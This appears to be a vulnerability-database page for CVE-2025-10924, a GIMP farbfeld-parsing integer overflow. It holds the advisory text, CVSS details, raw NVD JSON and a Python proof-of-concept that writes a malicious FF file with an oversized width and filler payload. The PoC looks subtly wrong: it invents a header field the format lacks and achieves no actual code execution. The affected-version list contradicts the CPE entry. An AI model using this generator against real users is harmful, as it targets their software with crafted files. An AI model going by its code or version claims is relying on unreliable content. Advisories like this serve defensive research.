Security Vulnerability Report
中文
CVE-2025-10924 CVSS 7.8 HIGH

CVE-2025-10924

Published: 2025-10-29 20:15:35
Last Modified: 2025-11-04 13:14:19

Description

GIMP FF File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of FF files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27836.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.0.4:*:*:*:*:*:*:* - VULNERABLE
GIMP < 2.10.36
GIMP < 2.99.18 (development versions)
All GIMP versions affected when processing FF files with crafted dimensions

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import sys def create_malicious_ff_file(output_path): """ PoC for CVE-2025-10924: GIMP FF File Parsing Integer Overflow RCE This creates a malicious FF file that triggers integer overflow in GIMP. """ # FF file header: magic (8 bytes) + width (4 bytes) + height (4 bytes) + color depth (4 bytes) magic = b'Farbfeld' # Trigger integer overflow: use a large value that will overflow when multiplied # In 32-bit context, this can cause buffer overflow # Width field - crafted to cause overflow in size calculation width = struct.pack('>I', 0xFFFFFFFF) # Max uint32, will overflow # Height field height = struct.pack('>I', 0x00000010) # Normal height # Color depth channels = struct.pack('>I', 0x00000008) # 8 channels (RGBA + extra) # Create header header = magic + width + height + channels # Craft malicious payload data that will overflow the undersized buffer # This exploits the integer overflow in buffer allocation payload_size = 1024 * 1024 # 1MB of crafted data payload = b'\x41' * payload_size # Pattern data to trigger overflow with open(output_path, 'wb') as f: f.write(header + payload) print(f"Malicious FF file created: {output_path}") print(f"File size: {len(header + payload)} bytes") print("Note: This PoC triggers integer overflow leading to buffer overflow") if __name__ == '__main__': if len(sys.argv) != 2: print("Usage: python cve-2025-10924-poc.py <output_file.ff>") sys.exit(1) create_malicious_ff_file(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10924", "sourceIdentifier": "[email protected]", "published": "2025-10-29T20:15:35.180", "lastModified": "2025-11-04T13:14:19.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP FF File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of FF files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27836."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.4:*:*:*:*:*:*:*", "matchCriteriaId": "103D75C8-35B7-4E50-B75C-2D75294CB7AC"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/merge_requests/2448", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-913/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}